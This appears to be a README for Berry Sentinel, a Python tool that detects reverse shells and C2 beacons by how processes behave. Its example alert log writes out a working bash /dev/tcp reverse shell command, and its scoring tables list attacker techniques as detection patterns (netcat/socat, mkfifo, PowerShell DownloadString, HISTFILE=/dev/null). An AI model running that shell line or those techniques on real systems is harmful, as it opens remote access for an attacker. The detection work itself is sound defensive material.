
Berry Sentinel v5.0 — Advanced behavioral C2 and reverse shell detector for Linux/Windows/Unix systems. Features real-time connection analysis, heuristic scoring, C2 framework signature detection, beacon interval analysis, and an interactive curses-based TUI with process kill engine.
Real-time behavioral C2 (Command & Control) connection detector
Zero-signature · Bulletproof Collection · Deep Scan · Kill Engine
Berry Sentinel monitors all active network connections on your system and analyzes the behavior of the processes that generate them to detect malicious activity — without using antivirus signature databases or blocked IP lists.
It detects reverse shells, webshells, RATs, C2 beacons and frameworks like Meterpreter, Cobalt Strike, Sliver or Empire by observing how a process behaves: if a Python interpreter has its stdin connected to a remote socket, that is suspicious even if the IP is unknown.
╔══════════════════════════════════════════════════════════════════════════════════╗
║ BERRY SENTINEL v5.0 — C2 Behavioral Detector · Interactive TUI ║
║ Connections: 38 │ Threats: 2 │ Signatures: 1 │ via proc/open+ss │ 12ms │ #47 ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ ID SEV PTS PID PROC REMOTE STATE SIGNATURES/TAGS ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ 3 █CRITICAL 85 1337 bash 1.2.3.4:4444 ESTAB ⚑Meterpreter SHELL→NET. ║
║ 7 ▲HIGH 52 2048 python3 5.6.7.8:8443 ESTAB TLS-NOBR BCN(60s) ║
╚══════════════════════════════════════════════════════════════════════════════════╝
psutil optional for extra coverage# Clonar el repositorio
git clone https://github.com/dereeqw/BerrySentinel.git
cd BerrySentinel
# (Opcional pero recomendado) instalar psutil
pip install psutil
# Ejecutar
python3 BerrySentinel.py
pkg install python
pip install psutil
python3 BerrySentinel.py --no-tui # curses puede no estar disponible en Termux
curl -O https://raw.githubusercontent.com/dereeqw/BerrySentinel/main/BerrySentinel.py
python3 BerrySentinel.py
python3 BerrySentinel.py [opciones]
Opciones:
--all, -a Incluir conexiones locales/loopback (además de remotas)
--interval N, -i N Refresco cada N segundos (default: 2, mín: 0.5)
--log FILE, -l FILE Guardar alertas en archivo (formato JSONL)
--json, -j Exportar JSON completo al salir
--whitelist LISTA IPs o CIDRs a ignorar, separadas por coma
--no-color Sin colores ANSI (útil para pipes o logs)
--verbose, -v Mostrar todas las conexiones, no solo las sospechosas
--top N, -t N Máximo de filas en la tabla (default: 50)
--diag, -d Diagnóstico: muestra qué métodos de colección funcionan
--no-tui Modo legacy sin curses (scroll clásico, más portable)
--version, -V Mostrar versión y salir
# TUI interactivo — modo recomendado
python3 BerrySentinel.py
# Deep scan con root (accede a memoria de procesos)
sudo python3 BerrySentinel.py --all
# Guardar alertas y exportar JSON al terminar
python3 BerrySentinel.py --log /var/log/sentinel.log --json
# Ignorar red interna y refrescar cada 5 segundos
python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5
# Modo texto para usar en scripts o por SSH sin terminal interactiva
python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt
# Ver qué métodos de colección funcionan en el sistema actual
python3 BerrySentinel.py --diag --no-tui
# Solo alertas graves, actualización cada 10 segundos, guardar log
sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json
Each connection receives a score from 0 to 100 based on detected indicators:
Severity by score:
Berry Sentinel includes signatures for the following frameworks (evaluation by ports, process name, command line and beacon patterns):
Each alert is recorded as an independent JSON line:
{
"ts": "2025-07-15T14:23:01.123456",
"id": 42,
"sev": "CRÍTICO",
"score": 85.0,
"pid": 1337,
"name": "bash",
"cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",
"remote": "1.2.3.4:4444",
"local": "192.168.1.10:52341",
"state": "ESTABLISHED",
"tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],
"sigs": ["Meterpreter"],
"src": "proc/open(self)+ss+netstat"
}
Process with jq:
# Filtrar solo conexiones críticas
jq 'select(.sev == "CRÍTICO")' sentinel.log
# Ver todos los PIDs sospechosos
jq '[.pid] | unique' sentinel_export.json
# Buscar por firma específica
jq 'select(.sigs | contains(["CobaltStrike"]))' sentinel.log
BerrySentinel.py
├── Constantes globales
│ ├── SHELL_BINS, SCRIPT_ENGINES — Nombres de shells e intérpretes
│ ├── C2_SUSPECT_PORTS — Puertos típicos de C2
│ ├── PRIVATE_NETS — Rangos IP privados
│ └── C2_SIGNATURES — Firmas de frameworks conocidos
│
├── Modelos de datos
│ ├── C2Signature — Definición de firma C2
│ ├── ProcInfo — Info de proceso del SO
│ ├── Conn — Conexión de red + resultado análisis
│ └── BeaconTracker — Detector de beacons C2
│
├── Colección de datos
│ ├── Collector — Orquesta múltiples fuentes de red
│ ├── parse_proc_net_content() — Parser /proc/net/*
│ ├── build_inode_pid_map() — Mapa inode→PID
│ ├── get_proc_info() — Info proceso vía /proc
│ └── get_proc_info_psutil() — Info proceso vía psutil
│
├── Análisis
│ ├── Engine.analyze() — Score + tags conductuales
│ ├── Engine._beacon() — Detección de beacons
│ └── match_signatures() — Matching de firmas C2
│
├── Output
│ ├── CursesTUI — TUI interactivo (modo por defecto)
│ ├── LegacyTUI — Output ANSI sin curses (fallback)
│ └── Logger — Log JSONL en disco
│
└── Sentinel — Orquestador principal
psutil — optional but highly recommended (pip install psutil)Without additional dependencies, the tool works with Python's stdlib. psutil adds coverage on macOS and Windows where /proc does not exist.
from BerrySentinel import C2Signature, C2_SIGNATURES
mi_rat = C2Signature(
name="MiRAT",
description="RAT interno corporativo no autorizado",
score_bonus=70,
checks=[
{"type": "port", "value": 6543},
{"type": "cmdline", "value": r"mi_rat\.py|rat_agent"},
{"type": "procname", "value": r"^mi_rat$"},
],
)
C2_SIGNATURES.append(mi_rat)
import argparse
from BerrySentinel import Sentinel, Sev
args = argparse.Namespace(
all=True, interval=10, log=None, json=False,
whitelist="192.168.0.0/16", no_color=True,
verbose=False, top=100, diag=False, no_tui=True
)
s = Sentinel(args)
s._cycle_data()
for conn in s.last_conns:
if conn.severity >= Sev.HIGH:
proc = conn.proc
print(f"[ALERTA] PID {conn.pid} ({proc.name if proc else '?'}) "
f"→ {conn.remote_addr}:{conn.remote_port} "
f"score={conn.score:.0f} tags={conn.tags}")
from BerrySentinel import Engine, Conn, Sev
class MiEngine(Engine):
KNOWN_C2_IPS = {"203.0.113.1", "198.51.100.42"}
def analyze(self, c: Conn) -> Conn:
c = super().analyze(c)
# Añadir lógica propia
if c.remote_addr in self.KNOWN_C2_IPS:
c.score = min(c.score + 40, 100)
c.tags.append("KNOWN-IOC-IP")
c.severity = Sev.CRITICAL
return c
Berry Sentinel is designed to monitor your own system or systems over which you have explicit authorization. The Kill Engine only acts when the user explicitly requests it. Use it responsibly and in accordance with the applicable laws in your jurisdiction.
MIT — see LICENSE
| Key | Action |
|---|
↑ / ↓ | Navigate between connections |
d / D | View details panel of the selected connection |
k / K | Kill process (asks for PID confirmation) |
f / F | Cycle severity filter: ALL → MEDIUM → HIGH → CRITICAL |
r | Force immediate refresh |
ESC | Close detail panel or cancel operation |
q | Quit |
| Indicator | Points | Tag |
|---|
| stdin/stdout → socket | +55 | FD→SOCK |
| Binary shell with remote connection | +40 | SHELL→NET |
| Webshell (shell as child of Apache/Nginx) | +35 | WEBSHELL |
| Bind shell on high port | +35 | BIND-SHELL |
| Use of netcat/socat | +35 | NETCAT |
Redirection /dev/tcp or mkfifo | +40 | PIPE-REDIR |
| Executable deleted from disk | +25 | EXE-DEL! |
Executable in /tmp or /dev/shm | +15 | EXE-TMP |
| Beacon detected (cyclical connection) | +25×conf | BCN(60s) |
| Meterpreter signature | +55 | SIG:Meterpreter |
| Cobalt Strike signature | +60 | SIG:CobaltStrike |
| Sliver signature | +58 | SIG:Sliver |
| RWX memory regions | +20 | RWX(N) |
| LD_PRELOAD or HISTFILE=/dev/null | +10 | ENV:LD_PRELOAD |
| Script interpreter connected | +25 | INTERP→NET |
| eval/exec in command line | +18 | EVAL |
| Remote PowerShell (IEX, DownloadString) | +30 | PS-REM |
| Score | Severity | Color |
|---|
| ≥ 65 | CRITICAL | 🔴 Bright red |
| ≥ 45 | HIGH | 🟠 Orange |
| ≥ 25 | MEDIUM | 🟡 Yellow |
| ≥ 8 | LOW | 🔵 Cyan |
| < 8 | INFO | ⚪ Gray |
| Framework | Score bonus | Key indicators |
|---|
| Meterpreter | +55 | Port 4444, ruby/msfconsole process |
| Cobalt Strike | +60 | Port 50050, beacon ~60s, java process |
| Sliver | +58 | Port 31337/8888, beacon ~60s |
| Empire | +55 | Port 1234/7777, PowerShell -enc |
| Brute Ratel | +62 | Port 2083, badger process |
| Havoc | +58 | Port 40056, demon.x64/x86 |
| Pupy RAT | +52 | Port 9999, pupy.py |
| Merlin | +54 | Port 8443, merlin-agent |
| Covenant | +54 | Port 7443, GruntHTTP |
| PoshC2 | +52 | FComServer, ImplantCore |
| Mythic | +56 | Port 7443, poseidon/apfell |
| QuasarRAT | +50 | Port 4782-4785 |
| NetcatShell | +45 | socat exec bash, pty |
| DNS-C2 | +40 | Port 53, dnscat/iodine |
| System | Support | Notes |
|---|
| Linux | ✅ Full | With root enables deep scan |
| Android/Termux | ✅ Full | Use --no-tui if curses fails |
| macOS | ⚠️ Partial | No /proc; uses netstat+psutil |
| Windows | ⚠️ Partial | netstat+psutil, no memory analysis |